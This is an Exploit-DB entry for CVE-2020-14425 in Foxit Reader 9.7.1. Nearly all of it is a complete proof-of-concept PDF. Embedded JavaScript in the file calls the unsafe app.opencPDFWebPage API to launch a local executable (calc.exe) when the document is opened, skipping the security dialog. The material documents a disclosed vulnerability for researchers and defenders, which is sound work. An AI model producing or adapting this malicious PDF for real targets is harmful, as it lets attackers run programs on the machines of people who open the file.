Exploit-DB #48982
Description: Foxit Reader 9.7.1 - Remote Command Execution (Javascript API)
Type: local
Platform: windows
Date: 2020-11-02
Author: Nassim Asrir

Exploit:
# Exploit Title: Foxit Reader 9.7.1 - Remote Command Execution (Javascript API)
# Exploit Author: Nassim Asrir
# Vendor Homepage: https://www.foxitsoftware.com/
# Description: Foxit Reader before 10.0 allows Remote Command Execution via the unsafe app.opencPDFWebPage JavaScript API which allows an attacker to execute local files on the file system and bypass the security dialog.
# CVE-2020-14425

The exploit process need the user-interaction (Opening the PDF) .

+ Process continuation

#POC

%PDF-1.4
%ÓôÌá
1 0 obj
<<
/CreationDate(D:[PII_REDACTED]1007+02'00')
/Title(Hi, Can you see me ?)
/Creator(AnonymousUser)
>>
endobj
2 0 obj
<<
/Type/Catalog
/Pages 3 0 R
/Names
<<
/JavaScript 10 0 R
>>
>>
endobj
3 0 obj
<<
/Type/Pages
/Count 1
/Kids[4 0 R]
>>
endobj
4 0 obj
<<
/Type/Page
/MediaBox[0 0 595 842]
/Parent 3 0 R
/Contents 5 0 R
/Resources
<<
/ProcSet [/PDF/Text/ImageB/ImageC/ImageI]
/ExtGState
<<
/GS0 6 0 R
>>
/Font
<<
/F0 8 0 R
>>
>>
/Group
<<
/CS/DeviceRGB
/S/Transparency
/I false
/K false
>>
>>
endobj
5 0 obj
<<
/Length 94
/Filter/FlateDecode
>>
stream
xœŠ»@@EûùŠ[RØk	­x•ÄüW"DDçëœâžÜœ›b°ý“{‡éTg†¼tS)dÛ‘±=dœþ+9Ÿ_ÄifÔÈŒ [ŽãB_5!d§ZhP>¯ ‰
endstream
endobj
6 0 obj
<<
/Type/ExtGState
/ca 1
>>
endobj
7 0 obj
<<
/Type/FontDescriptor
/Ascent 833
/CapHeight 592
/Descent -300
/Flags 32
/FontBBox[-192 [PII_REDACTED]]
/ItalicAngle 0
/StemV 0
/XHeight 443
/FontName/CourierNew,Bold
>>
endobj
8 0 obj
<<
/Type/Font
/Subtype/TrueType
/BaseFont/CourierNew,Bold
/Encoding/WinAnsiEncoding
/FontDescriptor 7 0 R
/FirstChar 0
/LastChar 255
/Widths[600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600]
>>
endobj
9 0 obj
<<
/S/JavaScript
/JS(app.opencPDFWebPage\('C:\\\\Windows\\\\System32\\\\calc.exe'\) )
>>
endobj
10 0 obj
<<
/Names[(EmbeddedJS)9 0 R]
>>
endobj
xref
0 11[PII_REDACTED] 65535 f [PII_REDACTED] 00000 n [PII_REDACTED] 00000 n [PII_REDACTED] 00000 n [PII_REDACTED] 00000 n [PII_REDACTED] 00000 n [PII_REDACTED] 00000 n [PII_REDACTED] 00000 n [PII_REDACTED] 00000 n [PII_REDACTED] 00000 n [PII_REDACTED] 00000 n 
trailer
<<
/ID[<7018DE6859F23E419162D213F5C4D583><7018DE6859F23E419162D213F5C4D583>]
/Info 1 0 R
/Root 2 0 R
/Size 11
>>
startxref
2283
%%EOF